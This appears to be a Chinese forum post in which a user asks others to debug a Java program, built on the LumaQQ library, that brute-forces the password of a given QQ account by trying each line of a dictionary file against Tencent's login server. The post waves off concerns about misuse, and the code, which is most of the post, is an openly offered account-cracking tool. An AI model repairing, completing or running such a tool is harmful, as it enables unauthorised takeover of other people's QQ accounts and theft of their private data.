|
我想利用jql写一个穷举破解qq密码的程序,下面就是我写的代码。程序接受两个参数,第一个参数指定需要破解的qq号,第二个参数为一个文本文件路径,包含密码字典,每行一个。
我不会java,这些代码是参考lumaqq的文档和网上找来的一些东西写成的。运行结果不正确,可我也不知道究竟哪里不太对,能不能麻烦大伙帮我看看?
用途方面请放心,网上现成工具大把,真要干什么坏事也不会费力气去整自己不会的东西了。
谢谢~
[PHP]import java.io.*;
import edu.tsinghua.lumaqq.qq.*;
import edu.tsinghua.lumaqq.qq.beans.*;
import edu.tsinghua.lumaqq.qq.events.*;
class Hack implements IQQListener {
QQClient client;
QQUser user;
int id;
String pwd = "";
FileReader fr;
BufferedReader br;
Hack (int uid, String fpwd) {
client = new QQClient();
id = uid;
user = new QQUser(id, "");
client.addQQListener(this);
user.setUdp(true);
client.setUser(user);
client.setLoginServer("sz.tencent.com");
fr = new FileReader(fpwd);
br = new BufferedReader(fr);
}
void next () {
pwd = br.readLine();
if (pwd==null) {
br.close();
fr.close();
System.out.println("Exit.");
this.finalize();
}
user.setPassword(pwd);
client.login();
}
public void qqEvent(QQEvent e) {
switch(e.type) {
case QQEvent.QQ_LOGIN_SUCCESS:
System.out.println("QQ_LOGIN_SUCCESS\t" + String.valueOf(id) + "\t" + pwd);
client.logout();
break;
case QQEvent.QQ_LOGIN_PASSWORD_ERROR:
System.out.println("QQ_LOGIN_PASSWROD_ERROR\t" + String.valueOf(id) + "\t" + pwd);
break;
case QQEvent.QQ_LOGIN_UNKNOWN_ERROR:
System.out.println("QQ_LOGIN_UNKNOWN_ERROR\t" + String.valueOf(id) + "\t" + pwd);
break;
}
next();
}
}
public class QQPwd {
public static void main(String[] args) {
Hack h = new Hack(Integer.parseInt(args[0]), args[1]);
h.next();
}
}[/PHP] |
|